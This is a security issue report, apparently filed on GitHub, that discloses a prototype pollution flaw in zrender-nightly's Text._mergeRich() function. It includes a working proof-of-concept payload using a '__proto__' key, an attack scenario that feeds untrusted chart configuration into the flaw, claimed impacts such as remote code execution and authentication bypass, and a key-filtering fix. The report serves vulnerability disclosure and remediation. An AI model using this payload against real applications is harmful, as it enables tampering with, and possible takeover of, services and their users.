Skip to content

Prototype Pollution in Text._mergeRich() via zrender-nightly #1153

Description

@gnsehfvlr

Prototype Pollution in zrender-nightly

Summary

zrender-nightly (<= 6.0.1-dev) is vulnerable to Prototype Pollution via the Text.prototype._mergeRich() function.

Description

zrender is the rendering engine behind Apache ECharts. The Text.prototype._mergeRich() function recursively merges rich text style objects without filtering dangerous keys (__proto__, constructor, prototype). When processing crafted rich text configuration, the function traverses into Object.prototype and modifies it.

This is especially concerning because ECharts/ZRender is one of the most widely used charting libraries, and chart configuration data often comes from external sources.

Proof of Concept

const zrender = require("zrender-nightly");

// Before: prototype is clean
console.log("Before:", ({}).polluted); // undefined

// Create a Text instance and trigger _mergeRich with malicious data
const text = new zrender.Text({});
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
text._mergeRich({}, malicious);

// After: Object.prototype is polluted
console.log("After:", ({}).polluted);                     // "yes"
console.log("Object.prototype.polluted:", Object.prototype.polluted); // "yes"

// Every new object inherits the polluted property
const fresh = {};
console.log("fresh.polluted:", fresh.polluted); // "yes"

Why this is a real vulnerability

  1. Object.prototype is globally modified — after the PoC runs, every newly created object has the polluted property

  2. The root cause is in _mergeRich() which recursively merges rich text style objects:

    • It iterates over all keys in the source style object
    • When it encounters __proto__, it follows it into Object.prototype
    • It then assigns properties onto Object.prototype
    • No key filtering is performed
  3. Attack scenario: ZRender/ECharts charts accept configuration with rich text styles. If chart data comes from an API or user input:

    // Server renders chart with data from API
    const chartData = await fetch("/api/chart-config").then(r => r.json());
    chart.setOption(chartData);
    // If chartData contains rich text with __proto__ → pollution
  4. This is a well-documented vulnerability classCVE-2020-8203 (lodash) is the same pattern

Impact

  • Remote Code Execution (RCE)child_process.spawn inherits shell: true from polluted prototype
  • Denial of Service (DoS) — overriding toString/valueOf crashes string coercion
  • Authentication Bypass — polluting isAdmin/role properties
  • Property Injection — all objects inherit polluted properties

Remediation

Filter dangerous keys in _mergeRich():

const UNSAFE_KEYS = new Set(["__proto__", "constructor", "prototype"]);

// Add this check in the merge loop:
if (UNSAFE_KEYS.has(key)) continue;

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions